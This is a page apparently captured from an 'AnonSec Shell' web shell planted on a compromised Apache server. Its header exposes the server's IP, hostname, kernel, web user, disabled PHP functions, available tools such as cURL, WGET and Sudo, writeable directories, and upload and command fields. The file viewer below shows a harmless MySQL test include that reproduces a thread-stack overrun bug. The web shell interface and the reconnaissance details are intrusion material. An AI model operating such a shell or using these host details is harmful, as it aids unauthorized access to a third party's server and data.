AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.213
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/include/parser-big.inc
#
# Input parameters:
#
#  $min20087571: minimal number of "(a=1 and b=2)" disjuncts
#  $max20087571: maximal number of "(a=1 and b=2)" disjuncts
#

--echo #
--echo # Bug #20087571: 5.7 EASILY HITS ERROR 1436 (HY000):
--echo #                THREAD STACK OVERRUN ERRORS ON MANY EXPR'S
--echo #

# we need a larger max_allowed_packet for the REPEAT() function
SELECT @tmp_max:= @@global.max_allowed_packet;
SET @@global.max_allowed_packet=16999424;
# switching connection to allow the new max_allowed_packet take effect
--connect (newconn, localhost, root,,)

CREATE TABLE t1 (a INT UNSIGNED, b INT UNSIGNED, PRIMARY KEY (a, b))
ENGINE=INNODB;

DELIMITER |;

CREATE PROCEDURE p1(p_min_terms INT UNSIGNED, p_max_terms INT UNSIGNED, p_incr
INT UNSIGNED)
begin
  DECLARE v_sql LONGTEXT CHARSET LATIN1;
  DECLARE i INT UNSIGNED DEFAULT 1;
  SET i:=greatest(1, p_min_terms);
  REPEAT
    SET @terms:=f1(i);
    SET v_sql:=concat("delete from t1 where ",@terms);
    SET @t:=v_sql;
    SELECT i AS 'numterms', length(@t) AS 'query lengt', p_incr AS 'increment';
    PREPARE s FROM @t;
    EXECUTE s;
    DEALLOCATE PREPARE s;
    SET i:=i + p_incr;
  UNTIL i > p_max_terms end repeat;
END|

CREATE FUNCTION f1(p_numterms INT UNSIGNED) RETURNS LONGTEXT
BEGIN
  DECLARE ret LONGTEXT DEFAULT '';
  SET ret:=CONCAT(REPEAT("(a=1 and b=2) or ",GREATEST(p_numterms-1,1)),"(a=2 and b=1)");
  RETURN RET;
END|

DELIMITER ;|

eval CALL p1($min20087571, $max20087571, 100000);
SELECT LENGTH(@terms);
# Double stack size for sparc/developer studio.
--replace_result 524288 262144 393216 196608
SELECT @@global.thread_stack, @@global.max_allowed_packet;

DROP FUNCTION f1;
DROP PROCEDURE p1;
DROP TABLE t1;

--connection default
SET @@global.max_allowed_packet:= @tmp_max;
--disconnect newconn

--echo #

Anon7 - 2022
AnonSec Team